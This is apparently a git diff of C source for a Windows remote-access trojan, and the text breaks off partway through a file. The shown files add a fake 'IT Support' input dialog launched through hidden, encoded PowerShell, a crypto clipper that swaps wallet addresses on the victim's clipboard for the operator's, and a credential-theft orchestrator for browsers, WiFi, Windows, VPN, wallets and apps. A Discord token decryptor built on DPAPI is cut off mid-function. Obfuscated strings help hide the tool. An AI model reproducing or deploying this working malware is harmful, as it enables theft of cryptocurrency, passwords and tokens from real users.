"zerin.h" +#include "obf_strings_gen.h" +#include +#include +#include + +/* ── cmd_chat ──────────────────────────────────────────────────────── + * Display a dialog on the target showing the operator's message, + * with an input field for the user to type a response. + * + * args[0]: operator's message + * args[1] (optional): dialog title (default "IT Support") + * + * Returns the user's typed response as output, or empty if cancelled. + * ─────────────────────────────────────────────────────────────────── */ +int cmd_chat(const task_t *task, task_result_t *result, char *cwd) { + (void)cwd; + + const char *message = (task->num_args >= 1 && task->args[0]) ? task->args[0] : ""; + const char *title = (task->num_args >= 2 && task->args[1]) ? task->args[1] : "IT Support"; + + /* + * Use PowerShell + Microsoft.VisualBasic.InputBox to show a dialog + * that has a text input field. The user can type a response. + * + * We escape single quotes by doubling them for PS string safety. + */ + + /* Escape single quotes in message and title */ + size_t msg_len = strlen(message); + size_t ttl_len = strlen(title); + char *esc_msg = (char *)malloc(msg_len * 2 + 1); + char *esc_ttl = (char *)malloc(ttl_len * 2 + 1); + if (!esc_msg || !esc_ttl) { + free(esc_msg); + free(esc_ttl); + result->error_code = -1; + result->error_message = _strdup("Out of memory"); + return -1; + } + + size_t j = 0; + for (size_t i = 0; i < msg_len; i++) { + if (message[i] == '\'') { esc_msg[j++] = '\''; esc_msg[j++] = '\''; } + else esc_msg[j++] = message[i]; + } + esc_msg[j] = '\0'; + + j = 0; + for (size_t i = 0; i < ttl_len; i++) { + if (title[i] == '\'') { esc_ttl[j++] = '\''; esc_ttl[j++] = '\''; } + else esc_ttl[j++] = title[i]; + } + esc_ttl[j] = '\0'; + + /* Build the PowerShell script string (single-quote escaped, no shell issues) */ + char ps_script[4096]; + snprintf(ps_script, sizeof(ps_script), + "Add-Type -AssemblyName Microsoft.VisualBasic; " + "$r = [Microsoft.VisualBasic.Interaction]::InputBox('%s', '%s', ''); " + "Write-Output $r", + esc_msg, esc_ttl); + + free(esc_msg); + free(esc_ttl); + + /* Convert to UTF-16LE and base64 for -EncodedCommand to avoid + * double-quote injection in the command line. */ + extern char *base64_encode(const uint8_t *data, size_t len, size_t *out_len); + int wlen = MultiByteToWideChar(CP_UTF8, 0, ps_script, -1, NULL, 0); + if (wlen <= 0) { + result->success = false; + result->error_code = -1; + result->error_message = _strdup("Failed to convert script to wide string"); + return -1; + } + wchar_t *wscript = (wchar_t *)malloc((size_t)wlen * sizeof(wchar_t)); + if (!wscript) { + result->error_code = -1; + result->error_message = _strdup("Out of memory"); + return -1; + } + MultiByteToWideChar(CP_UTF8, 0, ps_script, -1, wscript, wlen); + + /* base64 encode the UTF-16LE bytes (exclude null terminator) */ + size_t b64_len = 0; + char *b64 = base64_encode((const uint8_t *)wscript, + (size_t)(wlen - 1) * sizeof(wchar_t), &b64_len); + free(wscript); + if (!b64) { + result->error_code = -1; + result->error_message = _strdup("Base64 encoding failed"); + return -1; + } + + char ps_fmt[128]; + obf_decrypt_to(OBF_PS_ENCODED, ps_fmt, sizeof(ps_fmt)); + char script[8192]; + snprintf(script, sizeof(script), ps_fmt, b64); + obf_wipe(ps_fmt, sizeof(ps_fmt)); + free(b64); + + /* Execute and capture output */ + SECURITY_ATTRIBUTES sa = { sizeof(sa), NULL, TRUE }; + HANDLE stdout_rd = NULL, stdout_wr = NULL; + + if (!CreatePipe(&stdout_rd, &stdout_wr, &sa, 0)) { + result->success = false; + result->error_code = (int32_t)GetLastError(); + result->error_message = _strdup("Failed to create pipe"); + return -1; + } + SetHandleInformation(stdout_rd, HANDLE_FLAG_INHERIT, 0); + + STARTUPINFOA si; + PROCESS_INFORMATION pi; + memset(&si, 0, sizeof(si)); + memset(&pi, 0, sizeof(pi)); + si.cb = sizeof(si); + si.dwFlags = STARTF_USESTDHANDLES; + si.hStdOutput = stdout_wr; + si.hStdError = stdout_wr; + si.hStdInput = NULL; + + BOOL ok = CreateProcessA(NULL, script, NULL, NULL, TRUE, + CREATE_NO_WINDOW, NULL, NULL, &si, &pi); + CloseHandle(stdout_wr); + + if (!ok) { + CloseHandle(stdout_rd); + result->success = false; + result->error_code = (int32_t)GetLastError(); + result->error_message = _strdup("Failed to launch dialog"); + return -1; + } + + /* Wait up to 5 minutes for user response */ + WaitForSingleObject(pi.hProcess, 300000); + + /* Read response */ + char buf[4096]; + DWORD bytes_read = 0; + size_t total = 0; + + while (ReadFile(stdout_rd, buf + total, + (DWORD)(sizeof(buf) - total - 1), &bytes_read, NULL) && bytes_read > 0) { + total += bytes_read; + if (total >= sizeof(buf) - 1) break; + } + buf[total] = '\0'; + CloseHandle(stdout_rd); + + /* Trim trailing whitespace (newlines from PowerShell) */ + while (total > 0 && (buf[total - 1] == '\n' || buf[total - 1] == '\r' || buf[total - 1] == ' ')) { + buf[--total] = '\0'; + } + + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + + result->success = true; + result->output = _strdup(buf); + return 0; +} diff --git a/src/commands/clipper.c b/src/commands/clipper.c new file mode 100755 index 0000000..6dc7ae7 --- /dev/null +++ b/src/commands/clipper.c @@ -0,0 +1,426 @@ +#include "zerin.h" +#include +#include +#include +#include + +/* ── Crypto Clipper ──────────────────────────────────────────────────── + Background thread monitors clipboard via AddClipboardFormatListener. + When a crypto address is detected, it's replaced with the operator's + wallet address. Config is pushed from server via clipper_config. */ + +/* ── Coin types ────────────────────────────────────────────────────── */ + +#define COIN_BTC 0 +#define COIN_ETH 1 +#define COIN_LTC 2 +#define COIN_XMR 3 +#define COIN_DOGE 4 +#define COIN_SOL 5 +#define COIN_XRP 6 +#define COIN_TRX 7 +#define COIN_BNB 8 +#define COIN_COUNT 9 + +static const char *coin_names[COIN_COUNT] = { + "btc", "eth", "ltc", "xmr", "doge", "sol", "xrp", "trx", "bnb" +}; + +/* ── Clipper state ─────────────────────────────────────────────────── */ + +typedef struct { + volatile LONG running; + HANDLE thread; + DWORD thread_id; + CRITICAL_SECTION lock; + char wallets[COIN_COUNT][128]; + volatile LONG replacement_count; +} clipper_state_t; + +static clipper_state_t g_clipper = { 0 }; +static volatile LONG g_clipper_initialized = 0; + +static void init_clipper_state(void) { + /* Atomically check and set to avoid double-initialization race */ + if (InterlockedCompareExchange(&g_clipper_initialized, 1, 0) == 0) { + InitializeCriticalSection(&g_clipper.lock); + } +} + +/* ── Character set helpers ─────────────────────────────────────────── */ + +static int is_base58(char c) { + /* Base58: 123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz */ + if (c >= '1' && c <= '9') return 1; + if (c >= 'A' && c <= 'H') return 1; + if (c >= 'J' && c <= 'N') return 1; + if (c >= 'P' && c <= 'Z') return 1; + if (c >= 'a' && c <= 'k') return 1; + if (c >= 'm' && c <= 'z') return 1; + return 0; +} + +static int is_bech32(char c) { + /* Bech32: 0-9, a-z (excluding 1, b, i, o) */ + if (c >= '0' && c <= '9') return 1; + if (c >= 'a' && c <= 'z' && c != 'b' && c != 'i' && c != 'o') return 1; + if (c >= 'A' && c <= 'Z' && c != 'B' && c != 'I' && c != 'O') return 1; + return 0; +} + +static int is_hex(char c) { + return (c >= '0' && c <= '9') || (c >= 'a' && c <= 'f') || (c >= 'A' && c <= 'F'); +} + +static int all_base58(const char *s, size_t len) { + for (size_t i = 0; i < len; i++) + if (!is_base58(s[i])) return 0; + return 1; +} + +/* ── Pattern matchers ──────────────────────────────────────────────── */ + +/* Returns coin type or -1 if no match. + Order matters: BTC is checked before SOL to avoid overlap. */ + +static int detect_coin(const char *addr, size_t len) { + if (len == 0) return -1; + + /* BTC: bc1 (bech32, 25-62), or starts with 1/3 (base58, 25-34) */ + if (len >= 25 && len <= 62 && strncmp(addr, "bc1", 3) == 0) { + int valid = 1; + for (size_t i = 3; i < len; i++) + if (!is_bech32(addr[i])) { valid = 0; break; } + if (valid) return COIN_BTC; + } + if (len >= 25 && len <= 34 && (addr[0] == '1' || addr[0] == '3')) { + if (all_base58(addr, len)) return COIN_BTC; + } + + /* ETH: 0x + 40 hex chars */ + if (len == 42 && addr[0] == '0' && (addr[1] == 'x' || addr[1] == 'X')) { + int valid = 1; + for (size_t i = 2; i < 42; i++) + if (!is_hex(addr[i])) { valid = 0; break; } + if (valid) return COIN_ETH; + } + + /* LTC: starts with L/M/3, length 26-34, base58 */ + if (len >= 26 && len <= 34 && (addr[0] == 'L' || addr[0] == 'M')) { + if (all_base58(addr, len)) return COIN_LTC; + } + /* LTC bech32: ltc1... */ + if (len >= 25 && len <= 62 && strncmp(addr, "ltc1", 4) == 0) { + return COIN_LTC; + } + + /* XMR: starts with 4, length 95 */ + if (len == 95 && addr[0] == '4') { + if (all_base58(addr, len)) return COIN_XMR; + } + + /* DOGE: starts with D, length 34, base58 */ + if (len == 34 && addr[0] == 'D') { + if (all_base58(addr, len)) return COIN_DOGE; + } + + /* TRX: starts with T, length 34 */ + if (len == 34 && addr[0] == 'T') { + if (all_base58(addr, len)) return COIN_TRX; + } + + /* XRP: starts with r, length 25-35 */ + if (len >= 25 && len <= 35 && addr[0] == 'r') { + if (all_base58(addr, len)) return COIN_XRP; + } + + /* BNB: starts with bnb1, length 42 */ + if (len == 42 && strncmp(addr, "bnb1", 4) == 0) { + int valid = 1; + for (size_t i = 4; i < len; i++) + if (!is_bech32(addr[i])) { valid = 0; break; } + if (valid) return COIN_BNB; + } + + /* SOL: base58, length 32-44 (checked AFTER BTC to avoid overlap) */ + if (len >= 32 && len <= 44) { + if (all_base58(addr, len)) return COIN_SOL; + } + + return -1; +} + +/* ── Clipboard replacement ─────────────────────────────────────────── */ + +static void process_clipboard(HWND hwnd) { + if (!OpenClipboard(hwnd)) return; + + HANDLE hData = GetClipboardData(CF_UNICODETEXT); + if (!hData) { + CloseClipboard(); + return; + } + + wchar_t *wtext = (wchar_t *)GlobalLock(hData); + if (!wtext) { + CloseClipboard(); + return; + } + + /* Convert to UTF-8 for pattern matching */ + int utf8_len = WideCharToMultiByte(CP_UTF8, 0, wtext, -1, NULL, 0, NULL, NULL); + if (utf8_len <= 0 || utf8_len > 256) { + GlobalUnlock(hData); + CloseClipboard(); + return; + } + + char utf8[260]; + WideCharToMultiByte(CP_UTF8, 0, wtext, -1, utf8, sizeof(utf8), NULL, NULL); + GlobalUnlock(hData); + + /* Trim whitespace */ + char *start = utf8; + while (*start == ' ' || *start == '\t' || *start == '\n' || *start == '\r') start++; + size_t slen = strlen(start); + while (slen > 0 && (start[slen-1] == ' ' || start[slen-1] == '\t' || + start[slen-1] == '\n' || start[slen-1] == '\r')) + slen--; + start[slen] = '\0'; + + /* Detect coin */ + int coin = detect_coin(start, slen); + if (coin < 0) { + CloseClipboard(); + return; + } + + /* Check if we have a replacement wallet */ + char replacement[128]; + EnterCriticalSection(&g_clipper.lock); + strncpy(replacement, g_clipper.wallets[coin], sizeof(replacement) - 1); + replacement[sizeof(replacement) - 1] = '\0'; + LeaveCriticalSection(&g_clipper.lock); + + if (!replacement[0]) { + CloseClipboard(); + return; + } + + /* Don't replace if it's already our wallet */ + if (strcmp(start, replacement) == 0) { + CloseClipboard(); + return; + } + + /* Set clipboard with replacement wallet */ + int wlen = MultiByteToWideChar(CP_UTF8, 0, replacement, -1, NULL, 0); + HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, wlen * sizeof(wchar_t)); + if (hMem) { + wchar_t *wdst = (wchar_t *)GlobalLock(hMem); + if (wdst) { + MultiByteToWideChar(CP_UTF8, 0, replacement, -1, wdst, wlen); + GlobalUnlock(hMem); + + EmptyClipboard(); + SetClipboardData(CF_UNICODETEXT, hMem); + InterlockedIncrement(&g_clipper.replacement_count); + } else { + GlobalFree(hMem); + } + } + + CloseClipboard(); +} + +/* ── Window procedure ──────────────────────────────────────────────── */ + +static LRESULT CALLBACK clipper_wndproc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) { + switch (msg) { + case WM_CLIPBOARDUPDATE: + process_clipboard(hwnd); + return 0; + case WM_DESTROY: + RemoveClipboardFormatListener(hwnd); + PostQuitMessage(0); + return 0; + default: + return DefWindowProcA(hwnd, msg, wParam, lParam); + } +} + +/* ── Background thread ─────────────────────────────────────────────── */ + +static DWORD WINAPI clipper_thread(LPVOID param) { + (void)param; + + /* Register window class */ + char cls_name[32]; + obf_decrypt_to(OBF_CLIPMON_CLASS, cls_name, sizeof(cls_name)); + WNDCLASSA wc = { 0 }; + wc.lpfnWndProc = clipper_wndproc; + wc.hInstance = GetModuleHandle(NULL); + wc.lpszClassName = cls_name; + RegisterClassA(&wc); + + /* Create message-only window */ + HWND hwnd = CreateWindowExA(0, cls_name, NULL, 0, + 0, 0, 0, 0, HWND_MESSAGE, NULL, + GetModuleHandle(NULL), NULL); + if (!hwnd) { + InterlockedExchange(&g_clipper.running, 0); + return 1; + } + + /* Register for clipboard notifications */ + AddClipboardFormatListener(hwnd); + + /* Message loop — runs until WM_QUIT */ + MSG msg; + while (InterlockedCompareExchange(&g_clipper.running, 1, 1) == 1) { + BOOL ret = GetMessageA(&msg, NULL, 0, 0); + if (ret == 0 || ret == -1) break; /* WM_QUIT or error */ + TranslateMessage(&msg); + DispatchMessageA(&msg); + } + + /* Cleanup */ + if (hwnd) { + RemoveClipboardFormatListener(hwnd); + DestroyWindow(hwnd); + } + UnregisterClassA(cls_name, GetModuleHandle(NULL)); + obf_wipe(cls_name, sizeof(cls_name)); + + InterlockedExchange(&g_clipper.running, 0); + return 0; +} + +/* ── Command handlers ──────────────────────────────────────────────── */ + +int cmd_clipper_start(const task_t *task, task_result_t *result, char *cwd) { + (void)task; (void)cwd; + init_clipper_state(); + + if (InterlockedCompareExchange(&g_clipper.running, 1, 1) == 1) { + result->success = true; + result->output = _strdup("Clipper already running"); + return 0; + } + + InterlockedExchange(&g_clipper.running, 1); + InterlockedExchange(&g_clipper.replacement_count, 0); + + g_clipper.thread = CreateThread(NULL, 0, clipper_thread, NULL, 0, &g_clipper.thread_id); + if (!g_clipper.thread) { + InterlockedExchange(&g_clipper.running, 0); + result->success = false; + result->error_code = GetLastError(); + result->error_message = _strdup("Failed to create clipper thread"); + return -1; + } + + result->success = true; + result->output = _strdup("Clipper started"); + return 0; +} + +int cmd_clipper_stop(const task_t *task, task_result_t *result, char *cwd) { + (void)task; (void)cwd; + init_clipper_state(); + + if (InterlockedCompareExchange(&g_clipper.running, 0, 0) == 0) { + result->success = true; + result->output = _strdup("Clipper not running"); + return 0; + } + + /* Signal thread to exit */ + InterlockedExchange(&g_clipper.running, 0); + + /* Post WM_QUIT to break message loop */ + if (g_clipper.thread_id) + PostThreadMessageA(g_clipper.thread_id, WM_QUIT, 0, 0); + + /* Wait for thread */ + if (g_clipper.thread) { + WaitForSingleObject(g_clipper.thread, 3000); + CloseHandle(g_clipper.thread); + g_clipper.thread = NULL; + g_clipper.thread_id = 0; + } + + LONG count = InterlockedCompareExchange(&g_clipper.replacement_count, 0, 0); + + char *output = (char *)malloc(256); + if (output) { + snprintf(output, 256, "Clipper stopped. Total replacements: %ld", (long)count); + } + + result->success = true; + result->output = output; + return 0; +} + +int cmd_clipper_config(const task_t *task, task_result_t *result, char *cwd) { + (void)cwd; + init_clipper_state(); + + if (task->num_args < 1 || !task->args[0]) { + result->success = false; + result->error_code = 1; + result->error_message = _strdup("Expected JSON wallet config as args[0]"); + return -1; + } + + /* Parse simple JSON: {"btc":"addr","eth":"addr",...} */ + const char *json = task->args[0]; + + EnterCriticalSection(&g_clipper.lock); + + for (int i = 0; i < COIN_COUNT; i++) { + char needle[32]; + snprintf(needle, sizeof(needle), "\"%s\":\"", coin_names[i]); + + const char *start = strstr(json, needle); + if (!start) { + /* Try with space after colon */ + snprintf(needle, sizeof(needle), "\"%s\": \"", coin_names[i]); + start = strstr(json, needle); + } + if (!start) continue; + + start += strlen(needle); + const char *end = strchr(start, '"'); + if (!end) continue; + + size_t vlen = end - start; + if (vlen >= sizeof(g_clipper.wallets[i])) vlen = sizeof(g_clipper.wallets[i]) - 1; + memcpy(g_clipper.wallets[i], start, vlen); + g_clipper.wallets[i][vlen] = '\0'; + } + + LeaveCriticalSection(&g_clipper.lock); + + /* Build response showing configured wallets */ + size_t cap = 2048; + char *output = (char *)malloc(cap); + if (output) { + size_t len = 0; + len += snprintf(output + len, cap - len, "Clipper config updated:\n"); + for (int i = 0; i < COIN_COUNT; i++) { + if (g_clipper.wallets[i][0]) { + len += snprintf(output + len, cap - len, " %s: %s\n", + coin_names[i], g_clipper.wallets[i]); + } + } + if (InterlockedCompareExchange(&g_clipper.running, 1, 1) == 1) + len += snprintf(output + len, cap - len, "Clipper is running."); + else + len += snprintf(output + len, cap - len, "Clipper is NOT running (use clipper_start)."); + } + + result->success = true; + result->output = output; + return 0; +} diff --git a/src/commands/creds.c b/src/commands/creds.c new file mode 100755 index 0000000..83dcf2c --- /dev/null +++ b/src/commands/creds.c @@ -0,0 +1,227 @@ +#include "zerin.h" +#include "commands/creds_json.h" +#include +#include +#include + +/* ── Credential recovery orchestrator ────────────────────────────────── + Calls each sub-grabber and assembles the final JSON output. + Each grabber runs in its own thread with a timeout to prevent hangs. + Runs as the logged-in user (not SYSTEM) for DPAPI access. */ + +/* Forward declarations of sub-grabbers */ +extern void creds_grab_chromium(json_buf_t *j, json_buf_t *errors); +extern void creds_grab_firefox(json_buf_t *j, json_buf_t *errors); +extern void creds_grab_wifi(json_buf_t *j, json_buf_t *errors); +extern void creds_grab_windows(json_buf_t *j, json_buf_t *errors); +extern void creds_grab_apps(json_buf_t *j, json_buf_t *errors); +extern void creds_grab_wallets(json_buf_t *j, json_buf_t *errors); +extern void creds_grab_vpn(json_buf_t *j, json_buf_t *errors); + +/* Check if running as SYSTEM (DPAPI won't work) */ +static int is_system_account(void) { + char username[256] = ""; + DWORD usize = sizeof(username); + GetUserNameA(username, &usize); + return (_stricmp(username, "SYSTEM") == 0); +} + +/* ── Per-grabber thread timeout wrapper ────────────────────────────── */ + +typedef struct { + void (*fn)(json_buf_t *, json_buf_t *); + json_buf_t j; /* grabber's own JSON buffer */ + json_buf_t errors; /* grabber's own error buffer */ +} grabber_ctx_t; + +static DWORD WINAPI grabber_thread_fn(LPVOID arg) { + grabber_ctx_t *ctx = (grabber_ctx_t *)arg; + ctx->fn(&ctx->j, &ctx->errors); + return 0; +} + +/* Run a single grabber with a timeout. + - Allocates isolated buffers for the grabber thread. + - If the grabber completes in time, merges output into main buffers. + - If it times out, writes the fallback_key as an empty array and + records a timeout error. + - TerminateThread is NOT used (heap corruption risk). Instead, the + hung thread is detached — it may leak but the command returns. */ +static void run_grabber(void (*fn)(json_buf_t *, json_buf_t *), + json_buf_t *main_j, json_buf_t *main_errors, + const char *fallback_key, DWORD timeout_ms) { + /* Allocate isolated context on the heap (thread needs stable pointers) */ + grabber_ctx_t *ctx = (grabber_ctx_t *)calloc(1, sizeof(grabber_ctx_t)); + if (!ctx) { + jb_begin_arr(main_j, fallback_key); + jb_end_arr(main_j); + jb_add_error(main_errors, fallback_key, "alloc failed"); + return; + } + ctx->fn = fn; + ctx->j = jb_init(16384); + ctx->errors = jb_init(1024); + + if (!ctx->j.buf || !ctx->errors.buf) { + free(ctx->j.buf); + free(ctx->errors.buf); + free(ctx); + jb_begin_arr(main_j, fallback_key); + jb_end_arr(main_j); + jb_add_error(main_errors, fallback_key, "alloc failed"); + return; + } + + /* Each grabber writes {"key":[...]} — start with { */ + jb_char(&ctx->j, '{'); + /* Error buffer starts as array */ + jb_char(&ctx->errors, '['); + + HANDLE hThread = CreateThread(NULL, 0, grabber_thread_fn, ctx, 0, NULL); + if (!hThread) { + free(ctx->j.buf); + free(ctx->errors.buf); + free(ctx); + jb_begin_arr(main_j, fallback_key); + jb_end_arr(main_j); + jb_add_error(main_errors, fallback_key, "thread failed"); + return; + } + + DWORD wait = WaitForSingleObject(hThread, timeout_ms); + if (wait == WAIT_TIMEOUT) { + /* Grabber hung. Don't TerminateThread (unsafe). Just abandon it. + The thread's heap allocations leak but the creds command returns. */ + CloseHandle(hThread); + /* Write empty section for this grabber */ + jb_begin_arr(main_j, fallback_key); + jb_end_arr(main_j); + jb_add_error(main_errors, fallback_key, "timed out"); + /* Don't free ctx — the thread may still be using it */ + return; + } + CloseHandle(hThread); + + /* Grabber completed — close the wrapper object that run_grabber opened. + The grabber writes content like "key":[...], "key2":{...} into the buffer + that was seeded with '{'. We close it here so the buffer is always {..}. */ + jb_char(&ctx->j, '}'); + + /* Merge its JSON into main buffer. + ctx->j.buf is now reliably: {"section_name":[...],...} + We strip the outer { and } to get the inner content. */ + if (ctx->j.len > 2) { + /* Add comma separator if needed */ + if (main_j->len > 0) { + char last = main_j->buf[main_j->len - 1]; + if (last != '{' && last != '[' && last != ',') + jb_char(main_j, ','); + } + /* Skip first '{' and last '}' */ + size_t inner_start = 1; + size_t inner_end = ctx->j.len - 1; /* always strip the closing '}' we just added */ + if (inner_end > inner_start) { + size_t inner_len = inner_end - inner_start; + if (jb_ensure(main_j, inner_len) == 0) { + memcpy(main_j->buf + main_j->len, ctx->j.buf + inner_start, inner_len); + main_j->len += inner_len; + main_j->buf[main_j->len] = '\0'; + } + } + } + + /* Merge errors — ctx->errors.buf is: [{...},{...},... + (no closing ], grabbers don't close the error array) */ + if (ctx->errors.len > 1) { /* more than just '[' */ + /* Find content after the opening '[' */ + size_t err_start = 1; /* skip '[' */ + size_t err_len = ctx->errors.len - err_start; + if (err_len > 0) { + /* Add comma if main errors already has content */ + if (main_errors->len > 1) { + char last = main_errors->buf[main_errors->len - 1]; + if (last != '[' && last != ',') + jb_char(main_errors, ','); + } + if (jb_ensure(main_errors, err_len) == 0) { + memcpy(main_errors->buf + main_errors->len, + ctx->errors.buf + err_start, err_len); + main_errors->len += err_len; + main_errors->buf[main_errors->len] = '\0'; + } + } + } + + free(ctx->j.buf); + free(ctx->errors.buf); + free(ctx); +} + +int cmd_creds(const task_t *task, task_result_t *result, char *cwd) { + (void)task; (void)cwd; + + /* DPAPI requires user context, not SYSTEM */ + if (is_system_account()) { + result->success = false; + result->error_code = 1; + result->error_message = _strdup("Credential recovery requires user context (running as SYSTEM)"); + return -1; + } + + /* Main JSON buffer (starts at 64KB, can grow to 3MB) */ + json_buf_t j = jb_init(65536); + if (!j.buf) { + result->success = false; + result->error_code = -1; + result->error_message = _strdup("Failed to allocate JSON buffer"); + return -1; + } + + /* Errors buffer — collected during grabbing */ + json_buf_t errors = jb_init(4096); + if (!errors.buf) { + free(j.buf); + result->success = false; + result->error_code = -1; + result->error_message = _strdup("Failed to allocate error buffer"); + return -1; + } + jb_char(&errors, '['); + + /* Begin main JSON object */ + jb_char(&j, '{'); + + /* Run each grabber in a thread with timeout. + Timeouts are generous enough for normal operation but prevent + indefinite hangs from locked files, hung services, etc. + + Chromium: 45s — ABK injection is slow (up to 7s per browser × 5) + Firefox: 15s — NSS_Init can be slow, has its own 5s sub-timeout + WiFi: 15s — netsh can be slow, has its own 10s sub-timeout + Windows: 10s — CredEnumerate is usually instant + Apps: 30s — Discord scanning reads large .ldb files + Wallets: 15s — file reads, usually fast + VPN: 10s — file reads, usually fast + */ + run_grabber(creds_grab_chromium, &j, &errors, "chrome_passwords", 45000); + run_grabber(creds_grab_firefox, &j, &errors, "firefox_passwords", 15000); + run_grabber(creds_grab_wifi, &j, &errors, "wifi", 15000); + run_grabber(creds_grab_windows, &j, &errors, "windows_credentials", 10000); + run_grabber(creds_grab_apps, &j, &errors, "apps", 30000); + run_grabber(creds_grab_wallets, &j, &errors, "wallets", 15000); + run_grabber(creds_grab_vpn, &j, &errors, "vpn", 10000); + + /* Append errors array */ + jb_char(&errors, ']'); + jb_raw(&j, ",\"errors\":"); + jb_raw(&j, errors.buf); + + /* Close main object */ + jb_char(&j, '}'); + + free(errors.buf); + + result->success = true; + result->output = j.buf; /* Ownership transferred */ + return 0; +} diff --git a/src/commands/creds_apps.c b/src/commands/creds_apps.c new file mode 100755 index 0000000..084d11d --- /dev/null +++ b/src/commands/creds_apps.c @@ -0,0 +1,1122 @@ +#include "zerin.h" +#include "commands/creds_json.h" +#include +#include +#include +#include +#include +#include + +/* ── Runtime-loaded crypt32.dll (shared with creds_chromium.c) ────── */ +typedef BOOL (WINAPI *PFN_CryptUnprotectData_Apps)(DATA_BLOB*,LPWSTR*,DATA_BLOB*,PVOID,CRYPTPROTECT_PROMPTSTRUCT*,DWORD,DATA_BLOB*); +static HMODULE g_crypt32_apps; +static PFN_CryptUnprotectData_Apps pfn_CryptUnprotectData_apps; + +static int load_crypt32_apps(void) { + if (g_crypt32_apps) return 0; + g_crypt32_apps = LoadLibraryA("crypt32.dll"); + if (!g_crypt32_apps) return -1; + pfn_CryptUnprotectData_apps = (PFN_CryptUnprotectData_Apps)GetProcAddress(g_crypt32_apps, "CryptUnprotectData"); + return pfn_CryptUnprotectData_apps ? 0 : -1; +} + +/* ── Application credential grabbers ─────────────────────────────────── + Discord tokens, Telegram tdata, FileZilla, WinSCP, PuTTY, Outlook, + Steam, Epic Games, Minecraft launchers, Roblox */ + +#define APP_FILE_MAX (512 * 1024) /* 512 KB per file */ + +/* Helper: build path from env var + suffix */ +static int build_path(char *out, size_t cap, const char *env, const char *suffix) { + const char *base = getenv(env); + if (!base) return -1; + snprintf(out, cap, "%s\\%s", base, suffix); + return 0; +} + +/* Helper: check if file/dir exists */ +static int path_exists(const char *path) { + DWORD attrs = GetFileAttributesA(path); + return (attrs != INVALID_FILE_ATTRIBUTES); +} + +/* Read file up to max_bytes, return base64-encoded malloc'd string. NULL on failure. */ +static char *read_file_b64(const char *path, size_t max_bytes) { + HANDLE hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, + NULL, OPEN_EXISTING, 0, NULL); + if (hFile == INVALID_HANDLE_VALUE) return NULL; + + DWORD fsize = GetFileSize(hFile, NULL); + if (fsize == 0 || fsize > (DWORD)max_bytes) { + CloseHandle(hFile); + return NULL; + } + + uint8_t *data = (uint8_t *)malloc(fsize); + if (!data) { CloseHandle(hFile); return NULL; } + + DWORD bytesRead; + if (!ReadFile(hFile, data, fsize, &bytesRead, NULL) || bytesRead == 0) { + free(data); + CloseHandle(hFile); + return NULL; + } + CloseHandle(hFile); + + size_t b64_len = 0; + char *b64 = base64_encode(data, bytesRead, &b64_len); + free(data); + return b64; +} + +/* ── Discord token decryption (same scheme as Chromium v80+) ──────── */ + +static const unsigned char b64_tbl[256] = { + ['A']=0,['B']=1,['C']=2,['D']=3,['E']=4,['F']=5,['G']=6,['H']=7, + ['I']=8,['J']=9,['K']=10,['L']=11,['M']=12,['N']=13,['O']=14,['P']=15, + ['Q']=16,['R']=17,['S']=18,['T']=19,['U']=20,['V']=21,['W']=22,['X']=23, + ['Y']=24,['Z']=25, + ['a']=26,['b']=27,['c']=28,['d']=29,['e']=30,['f']=31,['g']=32,['h']=33, + ['i']=34,['j']=35,['k']=36,['l']=37,['m']=38,['n']=39,['o']=40,['p']=41, + ['q']=42,['r']=43,['s']=44,['t']=45,['u']=46,['v']=47,['w']=48,['x']=49, + ['y']=50,['z']=51, + ['0']=52,['1']=53,['2']=54,['3']=55,['4']=56,['5']=57,['6']=58,['7']=59, + ['8']=60,['9']=61,['+']=62,['/']=63, +}; + +static int b64_decode(const char *in, size_t in_len, uint8_t *out, size_t *out_len) { + size_t olen = 0; + uint32_t accum = 0; + int bits = 0; + for (size_t i = 0; i < in_len; i++) { + char c = in[i]; + if (c == '=' || c == '\n' || c == '\r' || c == ' ') continue; + accum = (accum << 6) | b64_tbl[(unsigned char)c]; + bits += 6; + if (bits >= 8) { + bits -= 8; + out[olen++] = (uint8_t)(accum >> bits); + } + } + *out_len = olen; + return 0; +} + +/* Extract Discord master key from Local State (DPAPI-protected, same as Chromium) */ +static int discord_extract_master_key(const char *appdata, const char *variant, uint8_t *key_out) { + char ls_path[MAX_PATH]; + snprintf(ls_path, sizeof(ls_path), "%s\\%s\\Local State", appdata, variant); + + HANDLE hf = CreateFileA(ls_path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, OPEN_EXISTING, 0, NULL); + if (hf == INVALID_HANDLE_VALUE) return -1; + + DWORD fsize = GetFileSize(hf, NULL); + if (fsize == 0 || fsize > 2 * 1024 * 1024) { CloseHandle(hf); return -1; } + + char *data = (char *)malloc(fsize + 1); + if (!data) { CloseHandle(hf); return -1; } + + DWORD bytesRead; + ReadFile(hf, data, fsize, &bytesRead, NULL); + CloseHandle(hf); + data[bytesRead] = '\0'; + + const char *needle = "\"encrypted_key\":\""; + char *start = strstr(data, needle); + if (!start) { + needle = "\"encrypted_key\": \""; + start = strstr(data, needle); + } + if (!start) { free(data); return -1; } + start += strlen(needle); + + char *end = strchr(start, '"'); + if (!end) { free(data); return -1; } + + size_t b64_len = end - start; + uint8_t *decoded = (uint8_t *)malloc(b64_len); + if (!decoded) { free(data); return -1; } + + size_t decoded_len = 0; + b64_decode(start, b64_len, decoded, &decoded_len); + free(data); + + /* Starts with "DPAPI" (5 bytes) then DPAPI blob */ + if (decoded_len < 6 || memcmp(decoded, "DPAPI", 5) != 0) { + free(decoded); + return -1; + } + + if (load_crypt32_apps() != 0) { free(decoded); return -1; } + DATA_BLOB in_blob, out_blob; + in_blob.pbData = decoded + 5; + in_blob.cbData = (DWORD)(decoded_len - 5); + + if (!pfn_CryptUnprotectData_apps(&in_blob, NULL, NULL, NULL, NULL, 0, &out_blob)) { + free(decoded); + return -1; + } + + if (out_blob.cbData != 32) { + LocalFree(out_blob.pbData); + free(decoded); + return -1; + } + + memcpy(key_out, out_blob.pbData, 32); + LocalFree(out_blob.pbData); + free(decoded); + return 0; +} + +/* AES-256-GCM decrypt via Windows CNG (BCrypt) */ +static int discord_aes_gcm_decrypt(const uint8_t *key, const uint8_t *nonce, size_t nonce_len, + const uint8_t *ct, size_t ct_len, + const uint8_t *tag, size_t tag_len, + uint8_t *plaintext) 